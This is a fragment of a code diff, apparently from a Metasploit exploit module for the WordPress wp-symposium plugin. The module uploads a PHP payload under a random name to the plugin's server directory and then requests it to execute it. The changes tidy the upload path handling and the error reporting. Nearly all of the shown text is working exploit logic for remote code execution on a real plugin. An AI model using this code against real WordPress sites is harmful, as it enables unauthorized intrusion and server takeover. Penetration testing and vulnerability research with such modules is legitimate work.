@@ -59,9 +59,9 @@ def generate_mime_message(payload, payload_name, directory_name, symposium_url)
59
59
60
60
def exploit
61
61
print_status ( "#{ peer } - Preparing payload" )
62
- unique_name = " #{ Rex ::Text . rand_text_alpha ( 10 ) } "
62
+ unique_name = Rex ::Text . rand_text_alpha ( 10 )
63
63
payload_name = "#{ unique_name } .php"
64
- symposium_url = normalize_uri ( target_uri , wp_content_dir , 'plugins' , 'wp-symposium' , 'server' , 'php' )
64
+ symposium_url = normalize_uri ( wordpress_url_plugins , 'wp-symposium' , 'server' , 'php' )
65
65
payload_url = normalize_uri ( symposium_url , unique_name , payload_name )
66
66
data = generate_mime_message ( payload , payload_name , unique_name , symposium_url )
67
67
symposium_url = normalize_uri ( symposium_url , 'index.php' )
@@ -84,9 +84,13 @@ def exploit
84
84
} , 5 )
85
85
print_good ( "#{ peer } - Executed payload" )
86
86
else
87
- print_error ( "#{ peer } - Failed to upload the payload" )
88
- vprint_error ( "#{ peer } - HTTP Status: #{ res . code } " )
89
- vprint_error ( "#{ peer } - Server returned: #{ res . body } " )
87
+ if res . nil?
88
+ fail_with ( Failure ::Unreachable , "No response from the target" )
89
+ else
90
+ vprint_error ( "#{ peer } - HTTP Status: #{ res . code } " )
91
+ vprint_error ( "#{ peer } - Server returned: #{ res . body } " )
92
+ fail_with ( Failure ::UnexpectedReply , "Failed to upload the payload" )
93
+ end
90
94
end
91
95
end
92
96
end
0 commit comments